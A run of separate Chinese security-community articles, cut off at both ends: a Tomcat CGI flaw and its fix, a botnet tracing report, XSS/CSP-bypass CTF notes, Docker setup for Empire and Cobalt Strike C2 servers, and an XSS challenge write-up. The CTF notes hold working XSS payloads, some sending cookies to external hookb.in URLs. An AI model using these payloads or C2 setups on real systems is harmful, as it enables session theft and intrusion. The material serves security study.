这是因为Windows在处理命令行参数时，会将 `"` 中的内容拷贝为下一个参数，直到命令行结束或者遇到下一个 `"` ，但是对 `\"`
的处理有误。同样用 `arg.bat` 做测试，可以发现这里只输出了 `\`
。因此在Java中调用批处理或者cmd文件时，需要做合适的参数检查才能避免漏洞出现。
## 修复方式
开发者在 [patch](https://github.com/apache/tomcat/commit/4b244d8) 中增加了
`cmdLineArgumentsDecoded` 参数，这个参数用来校验传入的命令行参数，如果传入的命令行参数不符合规定的模式，则不执行。
校验写在 `setupFromRequest` 函数中：
String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
!cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
if (log.isDebugEnabled()) {
log.debug(sm.getString("cgiServlet.invalidArgumentDecoded",
decodedArgument, cmdLineArgumentsDecodedPattern.toString()));
}
return false;
}
不通过时，会将 `CGIEnvironment` 的 `valid` 参数设为 `false` ，在之后的处理函数中会直接跳过执行。
if (cgiEnv.isValid()) {
CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
cgiEnv.getEnvironment(),
cgiEnv.getWorkingDirectory(),
cgiEnv.getParameters());
if ("POST".equals(req.getMethod())) {
cgi.setInput(req.getInputStream());
}
cgi.setResponse(res);
cgi.run();
} else {
res.sendError(404);
}
## 修复建议
1. 使用更新版本的Apache Tomcat。这里需要注意的是，虽然在9.0.18就修复了这个漏洞，但这个更新是并没有通过候选版本的投票，所以虽然9.0.18没有在被影响的列表中，用户仍需要下载9.0.19的版本来获得没有该漏洞的版本。
2. 关闭enableCmdLineArguments参数
## 参考链接
* <https://tomcat.apache.org/security-9.html>
* <https://tomcat.apache.org/tomcat-9.0-doc/cgi-howto.html>
* <https://github.com/apache/tomcat/commit/4b244d8>
* <https://github.com/pyn3rd/CVE-2019-0232/>
* <https://tools.ietf.org/html/rfc3875>
* <https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/>
* <https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html>
* <https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat>
* * * | 社区文章 |
# 安珀实验室千里追踪75万台“肉鸡”控制源
##### 译文声明
本文是翻译文章，文章来源：www.donews.com
原文地址：[www.donews.com/news/detail/4/2991825.html](www.donews.com/news/detail/4/2991825.html)
译文仅供参考，具体内容表达以及含义原文为准。
从2017年中“永恒之蓝”勒索病毒席卷全球，到2018年初的“英特尔CPU漏洞事件”大爆发，近年来，随着网络技术水平的不断提升，以“云物移大智”等为代表的新兴技术得到广泛应用，新产业新模式层出不穷，带来了全新的商业化图景，但随之而来的日益严重的信息安全问题，也让人们对网络安全愈发关注与重视。
近日，安珀实验室成功破获一起利用大规模僵尸网络进行大流量DDoS攻击的有组织活动，经深入调查后发现，该组织掌握的肉鸡最多高达75万台，通过层层加密隐匿攻击源头，在幕后对企业、机构发动针对性的大规模DDoS攻击，进而谋取不正当利益。
安珀实验室监控到网络流量突发异常后，第一时间进行分析排查，确定异常流量来自某几台被控制的云主机，正在在对外发起大流量的DDoS攻击，深入调查后发现，这些云主机属于某僵尸网络控制的肉鸡，最后顺藤摸瓜，成功追踪到攻击源。下面详细介绍分析过程。
## 1\. 入侵分析
首先，根据事发主机的流量特征，在金山云分布式蜜网平台中找到了被植入同一木马的系统，然后提取了蜜罐中发起DDoS攻击的木马程序，名称为libudev.so。并通过流量监控，获得了该木马连接的C&C控制端IP：203.12.*.*。
随后从该样本中提取出三个C&C控制端服务器的域名：
baidu.gd***.com
pcdown.gd***.com
soft8.gd***.com
其中一个域名pcdown.gd***.com没有解析记录，可以判断是备用域名。另外两个域名解析到某一台香港服务器上，IP正是前文提到的C&C控制端IP：203.12.*.*。
通过搜索根域名gd***.com的威胁情报数据，发现该根域名注册于2015年，域名拥有者对该域名的Whois信息进行了隐匿。通过对历史数据的查询，找到一个早期注册该域名的邮箱：145612****@***.com
## 2\. 身份溯源
通过技术手段，拿到了C&C控制端机器（简称c1）的登入日志，综合分析后判定c1为入侵者本人使用，而不是肉鸡。从日志来源IP可以看到，入侵者有一定反侦察意识，利用了至少一层跳板主机企图隐藏自己的真实IP，跳板主机IP为45.32.*.*（简称为v1），归属地为日本。
同时，我们发现这台主机还会向另一台机器发起RDP连接，IP为203.12.*.*（简称为w1）。通过分析w1的登录日志，我们发现攻击者会在此机器中进行大量的入侵准备和记录等操作，因此我们判断v1为攻击者使用的最后一层跳板。此服务器归属于日本的VPS运营商vultr，vultr在国内的付款是通过支付宝，信用卡等实名进行的。
我们继续分析w1的日志，发现如下其他来源机器的信息：
s1、119.81.*.* 客户端名称：MS7
s2、203.12.*.* 客户端名称：WIN-3PLKM2PLE6E
s3、36.250.*.* 客户端名称：zhao**deMacBook
推断名字为zhao**的人属于该黑产团伙的一员。
通过对s3的检测，发现它开放如下服务：
这是一个测试下载服务器的站点，截图中可以发现8***.com这个域名，通过搜索威胁情报，此域名是一个钓鱼欺诈域名。我们找到名字为wang**[的人，他的邮箱为27473****@***.com](mailto:jian%E8%BF%99%E4%B8%AA%E4%BA%BA%EF%BC%8C%E4%BB%96%E7%9A%84qq%E9%82%AE%E7%AE%B1%E4%B8%[email protected])。从邮箱相关信息判断，此人从事黑产的可能性较大。
下图为此域名历史解析过的IP地址，结合之前我们分析的信息，可以判断出这个团伙所在地为福建的可能性比较大。
结合上述线索，可以对团伙人员身份进行交叉定位。由于涉及信息敏感，此处不再深入介绍。
## 3\. 僵尸网络探查
通过技术手段，我们掌握了该团伙历史上所有控制的肉鸡IP列表，共有75万之多
此外，我们还获得了黑客的控制端程序，其客户端配置界面如下：
上图是其木马生成器，可以配置DNS、C&C域名、配置文件地址等。可以看到，C&C地址以及版本号与当前被捕获的样本类似。黑客可以在服务器端批量管理所有当前活跃的肉鸡，并可查询其IP地址、版本、硬件架构、处理器、时间戳、带宽等信息。
## 4\. 样本分析
样本运行后，首先通过readlink来获取当前样本的运行路径。样本内置了一个特定的解密算法，所有的加解密均采用该算法完成，算法逻辑如下：
char * encrypt_code(char * input, int length)
{
char * xorkeys = "BB2FA36AAA9541F0";
char * begin = input;
for(int i = 0; i < length; i++)
{
*input++ ^= xorkeys[i %16];
}
return begin;
}
通过上述解密算法，解密出样本的配置信息，及C&C服务器上的配置文件路径。解密后得到配置文件路径：[http://pcdown.gd***.com:85/cfg.rar](http://pcdown.gddos.com:85/cfg.rar)，该文件在分析时已无法访问。
之后通过fork子进程，调用setsid函数，切换到系统根目录等方式，样本创建了一个守护进程。接下来判断运行时参数，如果传入参数个数为2，则删除自身，同时运行传入的第2个参数，猜测此处或为样本更新逻辑。
当运行时参数个数不为3时，在之前解密出的系统路径下复制自身，可选路径有/usr/bin, /bin, /tmp,
并通过在样本尾部添加11个随机字符的方式，使自身的hash值每次都不同，用于对抗检查hash值这一类的扫描。
样本自身还携带了一个rootkit模块，能够对文件、端口等进行隐藏，给安全人员的手工排查带来一定的困难。样本运行时会将该模块加载到系统内核，一旦加载完成，就将该模块文件从磁盘删除。
下图代码是尝试将自身作为服务写入到系统启动目录下，使样本每次能随着系统自启动。
接下来样本会解密出远程服务器地址，之间用|符号进行分隔。其中unk_80B324C处解出的地址列表为:
soft8.gd***.com:3802|113.10.*.*:3802|baidu.gd***.com:3802
之后，调用rootkit模块功能， 隐藏当前进程所分配的端口号。
样本最终创建了3个线程， 来分别执行不同的任务。
Daemon_get_kill_process线程在一个循环中持续从服务器端下载配置文件，
如果下载失败，就休眠1800秒，下载成功后，解密配置文件，然后将内容保存在kill_cfg变量中。
Kill_process线程在一个循环中持续监听服务器端下发的配置文件kill_cfg是否已经下载成功，一旦下载完成，会读取每一行的内容，根据内置的参数决定对某个特定的文件名及对应进程进行删除和终止。
Tcp_thread线程首先向c&c服务器发送肉鸡的硬件及软件信息，包括设备类型、设备版本、一段32个字节的随机字符串组成的设备id、固定的字符串”STATIC”、当前bot的版本号2.0.1、
内存使用情况、cpu频率、当前网速，以及当前设备上的rootkit的安装情况等信息，这些信息在加密后被发送到服务器端。
然后，根据服务器的返回数据，首先计算crc值进行校验，通过后对命令进行解码，进入exec_packet控制流程。
控制流程目前包含了6个控制码，分别为：
1. 停止攻击
2. 创建多个线程发起攻击
3. 下载文件并执行
4. 更新bot样本
5. 发送系统信息到指定服务器
6. 下载新的配置文件
## 5\. 结语
本次事件由网关的一次突发流量异常引起，成功发现了黑客使用的控制服务器，最终掌握了一个数十万肉鸡规模的僵尸网络，通过及时进行追踪防护，有效避免了损失的发生。
**【关于安珀实验室】**
实验室专注于安全技术的研究与探索，涉猎领域包括僵尸网络的探究、病毒木马的分析、漏洞的利用与防御技术、安全事件的跟踪分析等。安珀实验室已深入多个流行的僵尸网络家族，成功完成了多例溯源分析，并与公安部门合作联合打击网络黑产，通过紧密协同业界最新安全动态，将研究成果发布出来与业界共享，为构建安全健康的网络环境而努力。 | 社区文章 |
最近打了几个国外的ctf,发现对于xss的考点还是很多，这里整理一下也当做我的笔记
## 热身小游戏
这里拿google xss game的一个在线平台做实验
<https://xss-game.appspot.com/level1>
level1没有任何限制
<script>alert(1)</script>
标准的`<script>`弹窗
Level2
在`<script>`标签无法触发的时候
你要想到另一个标记来触发javascript
比如
经典的img标记和onerror属性
`<img src="x" onerror="javascript:alert(1)"/>`
成功载入触发
Level3
toggle一下源码
这里引进了
并且在num这里我们没有进行任何过滤
所以我们只要在后面拼接一个
`' onerror = 'alert(1)';`
Level4
看一下源码
注意我们的输入点 手动闭合括号 开一个新的括号就可以了
`');alert('xss`
Level5
发现跳转页面
这里发现< a href>标签
这种payload都已经记住了 直接java伪协议 然后点击触发
javascript:alert(1)
Level 6
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
sctiptEl.src = url;
这个的标准解是因为他的正则太弱了
大小写就可以绕过
但是我们也可以使用data伪协议
data:text/plain,alert('xss')
## 对输入的限制
在题目中经常会对输入进行限制，但实际上只对输入进行限制是非常不合理的，我们有很多方法来进行绕过
我们的思路一般都是先输入一个定位器(Poly got)来检测哪些被ban掉，我经过不断测试采用了Gareth Heyes 的(Polygot)
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
### 对标签的限制
这种我们可以使用
`<img> <svg> <a href>`等等标签
当然如果你发现他的正则没有匹配大小写`<ScRipt>`也是个好选择
关键字替换为空且只有一次，可以使用经典的双写
当然你也可以使用html实体编码来进行绕过
例如
<script>alert(/1/);</script>
### 对引号的限制
可以使用/ /来进行替换
<script>alert(/1/);</script>
使用函数来对引号进行编码
比如String.fromCharCode
### 对空格的限制
%0d %0a进行替换
<img%0dsrc=1%0dοnerrοr=alert(1);>
### 对长度的限制
国外的研究者terjanq 有一个集成式的短payload
<https://tinyxss.terjanq.me/>
## 对csp的bypass
对csp的bypass可以说是最常见的考点了，首先还是不厌其烦的简介一下csp
CSP:Content Security
Policy(内容安全策略)，其旨在减少跨站脚本攻击。由开发者定义一些安全性的策略声明，来指定可信的内容(脚本，图片，iframe，style，font等)来源。现代浏览器可以通过http头部的`Content-Security-Policy`来获取csp配置。
如果将csp头只设置成default-src
'none'的话可以是可以，但是你的外部js一点都加载不进来，反而会导致功能受阻，所以如何写一个完美的适合自己网站的csp是一个值得深究的问题
一个标准的csp类似这个
Content-Security-Policy: default-src 'none';script-src 'self' 'unsafe-inline';
表示js加载策略只遵循self 其他的遵循none
如果加上unsafe-inline就不会阻止内联代码 比如`<script>`内容 内联事件，内联样式
这里我贴出了常见的指令和属性
指令 | 说明
---|---
default-src | 定义默认加载策略
connect-src | 定义ajax、websocket等加载策略
font-src | 定义font加载策略
frame-src | 定义frame加载策略
img-src | 定义图片加载策略
media-src | 定义audio、video等资源加载策略
object-src | 定义applet、embed、object等资源加载策略
script-src | 定义js加载策略
style-src | 定义css加载策略
sandbox | 沙箱选项
report-uri | 日志选项
属性值 | 示例 | 说明
---|---|---
* | ing-src * | 允许从任意url加载，除了data:blob:filesystem:schemes
‘none’ | object-src ‘none’ | 禁止从任何url加载资源
‘self’ | img-src ‘self’ | 只可以加载同源资源
data: | img-src ‘self’ data: | 可以通过data协议加载资源
domain.example.com | ing-src domain.example.com | 只可以从特定的域加载资源
*.example.com | img-src *.example.com | 可以从任意example.com的子域处加载资源
<https://cdn.com> | img-src <https://cdn.com> | 只能从给定的域用https加载资源
https: | img-src https: | 只能从任意域用https加载资源
‘unsafe-inline’ | script-src ‘unsafe-inline’ | 允许内部资源执行代码例如style
attribute,onclick或者是sicript标签
‘unsafe-eval’ | script-src ‘unsafe-eval’ | 允许一些不安全的代码执行方式，例如js的eval()
举几个ctf实际考察的例子
DiceCTF2021 的 BabierCSP
可以发现输入点可控
再加上题目所说的babiercsp，基本上是xss无疑，down下附件index.js查看
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
这里注意到nonce
这个是script-src的特性
除了常规值，script-src还可以设置一些特殊值。nonce值：每次HTTP回应给出一个授权token，页面内嵌脚本必须有这个token，才会执行hash值：列出允许执行的脚本代码的Hash值，页面内嵌脚本的哈希值只有吻合的情况下，才能执行。
但这里面出现一个很致命的bug
nonce值是const 常量
所以我们在使用时带上,他并不会改变
用个hookbin带出来给管理员
payload:https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=LRGWAXOY98Es0zz0QOVmag==%3E%20document.location=%27https://hookb.in/JKzebMwQPxIJPPWVoqdq/?c=%27%20%2Bdocument.cookie%20%3C/script%3E
再看一道某国外大学的测试题
它允许的script-src 不只有self 还有*.google.com 也就是如果我们找到一个google旗下的接口可以调用一些东西，就可以利用
<https://accounts.google.com/o/oauth2/revoke?callback>
比如这种可以利用的回调函数我们用来跳转到hookbin接受cookies
就可以get flag
"><script src="https://accounts.google.com/o/oauth2/revoke?callback=window.location.href='https://hookb.in/9XwRzarbRDS600eMoL7d?'%2bdocument.cookie;"></script>
还想提到的一道题是今年的justCTF的baby-csp
通读代码，我们可以得到一些信息
1.flag在secret.php里面
2.在判断flag传参时候先判断用户是否为admin,并设置了 "X-Content-Type-Options: nosniff"，则
**_script\_** 和 **_styleSheet\_** 元素会拒绝包含错误的 MIME 类型的响应。这是一种安全功能，有助于防止基于 MIME
类型混淆的攻击。和X-Frame-Options 设置了dinny 来拒绝了iframe的嵌套
3.如果arg参数有东西就会用hash加密，否则就md5加密
4.user参数小于等于23，并设置了CSP头
5.最后给了Dockerfile配置，和与admin的交互位点
看样子已经无懈可击了，但是最下方注释里的dockerfile
php.ini-development
在开发环境下配置的php环境找个23限制以下的xss payload
<svg/onload=eval(name)>
可以看到我们被csp拦下了 但是因为php在开发者模式，所以我们如果在arg里面给到一个无效的算法，会得到很多warning
在作者的writeup有这么一句话通常，在PHP中，当您在调用header（）之前返回任何主体数据时，该调用将被忽略，因为响应已发送给用户，并且必须首先发送标头。在应用程序中，在调用header（“
content-security-policy：...”）;之前未返回任何显式数据。但是因为警告是首先显示的，所以它们在标题有机会及时到达之前就进入了响应缓冲区。所以我们明白了它的思路在csp调用前我们让php
development 产生大量的warning 如果缓冲区满的话就可以忽略掉设置csp头，
Payload
<script>name="fetch('?flag').then(e=>e.text()).then(alert)" location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292'); </script>
<script>
name="fetch('?flag').then(e=>e.text()).then(alert)"
location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
</script>
## 参考文章
<https://www.dazhuanlan.com/2019/10/16/5da64cfe784af/>
<http://lorexxar.cn/2016/08/08/ccsp/>
<https://ctftime.org/writeup/25867> | 社区文章 |
# 如何利用Docker构建命令控制服务器
##### 译文声明
本文是翻译文章，文章原作者 Alexander Rymdeko-Harvey，文章来源：obscuritylabs.com
原文地址：<https://blog.obscuritylabs.com/docker-command-controll-c2/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在红蓝对抗中，红方成功突破对手防线是再正常不过的一件事情。许多经验证明（根据我的团队工作经验），如果想不断扩大规模、紧跟经验丰富的安全运营中心（security
operations
center，SOC）的发展步伐，那就必须紧抓自动化处理流程这个关键因素。结合我过去的操作经验来看，这一点在许多情况下是一个不争的事实。需要注意的是，“先人一步”不一定意味着我们就可以成功赢得市场。实际情况中我们的确会面临各种各样的挑战，但在许多情况下，手头上拥有精心策划的一个产品能起到事半功倍的效果。基于这个原因，我希望我们团队能够更有效地设计及部署C2服务器，我也会在本文中分享一些个人经验。
## 二、Docker介绍
如果有些人对与Docker了解甚少，这里我们来介绍下一些基础知识以及简单的专业术语（如果你对此比较了解可以直接跳过这一部分）。Docker是一个容器化平台，开发者及运营团队可以在Docker的支持下轻松构建及部署软件环境，并且Docker支持几乎所有的系统平台，兼容性非常好。在深入了解相关知识之前，你需要先熟悉以下几个名词：
1、Dockerfile：该文件用来指导如何创建docker镜像，创建（build）过程通常是一个自动化处理过程。
2、Docker镜像（Image）：该镜像由docker build文件生成，其地位类似于操作系统镜像（如Ubuntu 16.04镜像）。
3、Docker容器（Container）：镜像其实并不是一个单独的文件，而是具有层级结构，多层容器可以组成一个完整的镜像，这也是Docker强大的地方所在。想想一下，如果我们想构建5个Ubuntu镜像，这几个镜像彼此仅在ENV（环境变量）上有点区别。那么首先我们需要从头开始构建一个镜像，但随后只需要简单修改一层后，就能得到一个新的“镜像”。之所以能这么做，原因在于这些镜像只是基础镜像的快照而已。
4、Docker数据卷（Volume）：与挂载的驱动器类似，Volume是一个存储容器，可以支持数据的持久化存储。
## 三、Docker及C2
Docker最主要的一个优点是采用了分层容器系统，这样一来，多个Image可以使用不同的volume以及不同的Container。这种方案有如下几点明显的优势：
1、大小：减少部署不同的环境或镜像时所占的空间大小。
2、成本：减少所需的VPS基础设施的数量。
3、资源：通常情况下，我们几乎不会达到可利用资源的极限值，使用Docker后，我们可以在成本为5美元的Digital
Ocean虚拟机实例上运行5个Empire服务器。
4、集中控制：我讨厌同时维护多个实例，采用端口映射的Docker网络解决方案后，我们可以在一台服务器上同时维护长期、短期以及备份用途的C2服务器。
5、安全性：可以避免容器之间通信。Docker容器与LXC容器非常类似，这两者具有相似的安全特性（均使用内核命名空间来操作）。
6、数据集成：挂载Volume后，你可以将C2数据存放在一个地方，不同C2数据之间可以相互隔离。如果出现问题，别人也只能拿到其中一部分数据。
7、管理：安装一次性工具的主要问题之一在于这些工具的支持及依赖问题不是那么好解决，毕竟许多都是黑客们热衷的工具，不考虑易用性问题。在Docker方案中，宿主OS可以充当基础镜像（Base
Image）角色，然后我们可以在Base Image中解决掉所有依赖问题。
## 四、Empire Docker
现在Empire官方支持使用Docker作为操作平台。目前这一方案仍处于dev分支中，但我们已经可以在Docker
Hub上找到这个[镜像](https://hub.docker.com/r/empireproject/empire/)。对Dockerfile的分析并不在本文讨论范围内，我准备在将来再讨论自动化方面内容。如果你想深入了解Dockerfile的代码，可以访问[此处](https://github.com/EmpireProject/Empire/blob/dev/Dockerfile)了解相关细节，该文件需要与`release.sh`及`build.sh`脚本配合使用。
首先你需要获取Empire最新的版本，具体命令为：`docker pull
empireproject/empire`。如果想要运行Empire，只需要一条简单的命令即可：`ocker run -ti
empireproject/empire`。Empire运行起来后，你可以输入其他命令行参数。
你可能会注意到，Empire会运行`reset.sh`以创建数据库及秘钥。这是一种安全特性，属于正常操作，Empire团队通过这种方法避免为所有的Docker镜像创建相同的秘钥。
Docker中非常强大的一种用法就是`--entrypoint`参数，这个参数可以覆盖镜像中内置的ENTRYPOINT（入口点）。你需要进入容器中，像正常操作那样运行Empire。为了进入容器，你可以使用如下命令替换ENTRYPOINT：
alexanders-MacBook-Pro:~ alexanderrymdeko-harvey$ docker run -ti --entrypoint bash empireproject/empire
root@cc4ca15ed8ab:/opt/Empire# ls
Dockerfile LICENSE README.md VERSION changelog data empire lib plugins setup
root@cc4ca15ed8ab:/opt/Empire#
在生产环境中，这么做无法正常工作，最主要的问题是存储问题。每当我们运行及重启镜像时，除非我们提交变更（commit），否则镜像都会恢复到基础状态。为了实现持久性存储，我们可以使用Docker
Volume，以便将改动挂载到镜像中的特定位置。在这个案例中，我们只需要挂载到Empire数据目录，就可以维护我们的数据库以及证书，具体命令为：`docker
create -v /opt/Empire --name data empireproject/empire`。最后，我们可以使用`--volumes-from`标识，将之前的`data`卷挂载到我们的安装目录中，命令为`docker run -ti --volumes-from data
empireproject/empire`。这些操作的运行结果如下所示：
alexanders-MacBook-Pro:~ alexanderrymdeko-harvey$ docker create -v /opt/Empire --name data empireproject/empire
5cae53e19681b4d97646c79ff1673218a421cf689046fcdfa2fdbd4602dd24ae
alexanders-MacBook-Pro:~ alexanderrymdeko-harvey$ docker volume ls
DRIVER VOLUME NAME
local cbb254a5d09b2c0ee828509a67dab0697bdbe5f901a71aa24a565433d6f4a854
alexanders-MacBook-Pro:~ alexanderrymdeko-harvey$ docker run -ti --volumes-from data empireproject/empire
[*] Loading stagers from: /opt/Empire//lib/stagers/
[*] Loading modules from: /opt/Empire//lib/modules/
[*] Loading listeners from: /opt/Empire//lib/listeners/
<SNIP>
最后，我们需要将我们的Docker容器对宿主网络环境开放，我们可以使用多种方法完成这一任务，但我发现使用`publish`参数可以有效解决这种应用场景。这个功能可以让我们“将容器的端口开放给主机网络”。我们可以在`-p`参数后面带上`<HOST-IP>:<HOST-PORT-TO-EXPOSE>:<GUEST-PORT-TO-EXPOSE>`。这样操作后，我们可以绑定端口，将流量直接转到Docker容器中，即使我们使用了不同的外部端口也没有问题。
alexanders-MacBook-Pro:~ alexanderrymdeko-harvey$ docker run -ti --volumes-from data -p 10.0.0.207:80:80 empireproject/empire
<SNIP>
================================================================
[Empire] Post-Exploitation Framework
================================================================
[Version] 2.3 | [Web] https://github.com/empireProject/Empire
================================================================
_______ .___ ___. .______ __ .______ _______
| ____|| / | | _ | | | _ | ____|
| |__ | / | | |_) | | | | |_) | | |__
| __| | |/| | | ___/ | | | / | __|
| |____ | | | | | | | | | | ----.| |____
|_______||__| |__| | _| |__| | _| `._____||_______|
282 modules currently loaded
0 listeners currently active
0 agents currently active
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
Name: HTTP[S]
Category: client_server
Authors:
@harmj0y
Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.
HTTP[S] Options:
Name Required Value Description
---- -------- ------- ----------- SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://172.17.0.2:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True G:IfjvH;Z#J|]FSs9XU~},D{[)8yuR2n Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php
(Empire: listeners/http) > execute
[*] Starting listener 'http'
[+] Listener successfully started!
(Empire: listeners/http) >
了解这些命令后，我们基本上就可以启动并运行目标环境了。Docker中还有一些高级功能，我们会在接下来的CobaltStrike内容中加以介绍。
## 五、CobaltStrike Docker
红方通常会使用CS（CobaltStrike）作为首选的工具/植入程序。因此我决定使用Dockerfile来构建一个基础镜像。最近CS在Docker
Hub上的许可/试用方案有了些变化，这也是我为什么不使用官方镜像的原因所在。不过不用担心，在本地构建一个Docker镜像并没有那么复杂。我已经公开了相关的Dockerfile，大家可以访问[此处](https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/Dockerfile)了解具体内容。整个过程中需要注意一些关键步骤，不过最重要的是构建过程中需要将CS许可秘钥传递给Dockerfile。
首选，我们需要clone这个Dockerfile。
git clone https://github.com/killswitch-GUI/CobaltStrike-ToolKit.git
接下来我们开始构建镜像，将`cskey`替换为我们自己的许可秘钥。这个过程中会下载一些文件，我们需要稍等片刻，放松一下。
docker build --build-arg cskey="xxxx-xxxx-xxxx-xxxx" -t cobaltstrikecs .
像往常一样，在Dockerfile中，我将ENTRYPOINT设置为`teamserver`，接下来你可以在镜像字符串后传入所需的参数：
docker run -d -p 192.168.2.238:50050:50050 --name "war_games" cobaltstrikecs 192.168.2.238 password
这里我们使用了两个新的概念：
1、`-d`：守护模式，这样我们就可以后台启动这个容器。
2、`--name`：命名这个容器，这样我们可以在容器启动后使用这个名称来引用该容器。
启动容器后，我们可以查看日志，监控CS实例的运行状态，具体命令为：`docker logs -f "war_games"`。
alexanders-MacBook-Pro:Dockerfiles alexanderrymdeko-harvey$ docker logs -f "war_games"
[*] Generating X509 certificate and keystore (for SSL)
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: 2013748909fd61ff687711688e5dc4306d0fb1c3afa8ece4f30630c31ba1557c
如果想要访问该实例，我们可以使使用`exec`命令，如下所示：
alexanders-MacBook-Pro: Dockerfiles alexanderrymdeko-harvey$ docker exec -ti war_games bash
root@bb7d339b3699:/opt/cobaltstrike#
如果要终止该容器，使用如下这条命令即可：
docker kill war_games
**CS Volume**
对了，别忘了为CS实例创建一个容器，否则我们会丢失掉所有的数据：
docker create -v /opt/cobaltstrike --name cs-data cobaltstrikecs
接下来，我们可以使用这个volume来启动该实例：
docker run -d --volumes-from cs-data -p 192.168.2.238:50050:50050 --name "war_games" cobaltstrikecs 192.168.2.238 password | 社区文章 |
## 写在前面
最近深感自己前端安全知识掌握的不是很好，于是找了个[XSS靶场](https://alf.nu/alert1)练习下，截止到2019年6月9日，网站上共有29道题目，我当前只做出了26道，还有3道题目没有头绪，分别是`Fruit
3`、`Quine`、`Entities 2`，当然已经做出的这些题目也不一定是最优解，希望与师傅们交流学习下，如果有发现什么错误，欢迎师傅们批评指正。
我的链接
https://alf.nu/alert(1)#accesstoken=WcMW1j+qtfFu6BQVFdJM
浏览器版本：`Chrome 74`
## 1\. Warmup
### 1.1 源码
function escape(s) {
return '<script>console.log("' + s + '");</script>';
}
### 1.2 分析
代码将输入直接拼接到了返回的字符串中，没有任何过滤，直接闭合`console.log("`即可。
### 1.3 Payload
13个字符
");alert(1)//
12个字符
");alert(1,"
[](./img/7212858456729768176.png
"1")
## 2\. Adobe
### 2.1 源码
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
### 2.2 分析
代码将输入的双引号加了一个`\`进行了转义，这样我们就不能像第一题那样闭合`console.log`了，但是没啥影响，有两种方法：
* 闭合之前的`<script>`标签，然后再写一个`<script>`。
* 使用`\`来转义对`"`进行转义的`\`，从而绕过对`"`的过滤。
### 2.3 Payload
方法1 27个字符
</script><script>alert(1)//
方法2 14个字符
\");alert(1)//
## 3\. JSON
### 3.1 源码
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
### 3.2 分析
代码将输入使用`JSON.stringify`进行了处理，与第二题的方法一思路相同。
### 3.3 Payload
</script><script>alert(1)//
## 4\. Markdown
### 4.1 源码
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
### 4.2 分析
代码进行了三步操作
1. 第一步，将`<`和`"`转成了HTML实体
2. 第二步，如果存在`http://`的字符串， 会可以生成一个`a`标签
3. 第三步，解析Markdown的图片的语法，如果存在`[[img123|Description]]`格式的字符串，则变为`<img alt="Description" src="img123.gif">`。
开头对`"`和`<`进行了编码操作，所以不能直接传入`"`来闭合，当前思路就是构造一个字符串，使其满足后两个正则，从而引入`a`标签中的`"`，从而闭合`img`标签的`alt`属性。
### 4.3 Payload
[[a|http://onerror=alert(1)//]]
## 5\. DOM
### 5.1 源码
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);
// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create' + m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}
### 5.2 分析
代码实现了一个根据输入来创建的`DOM`节点的功能。
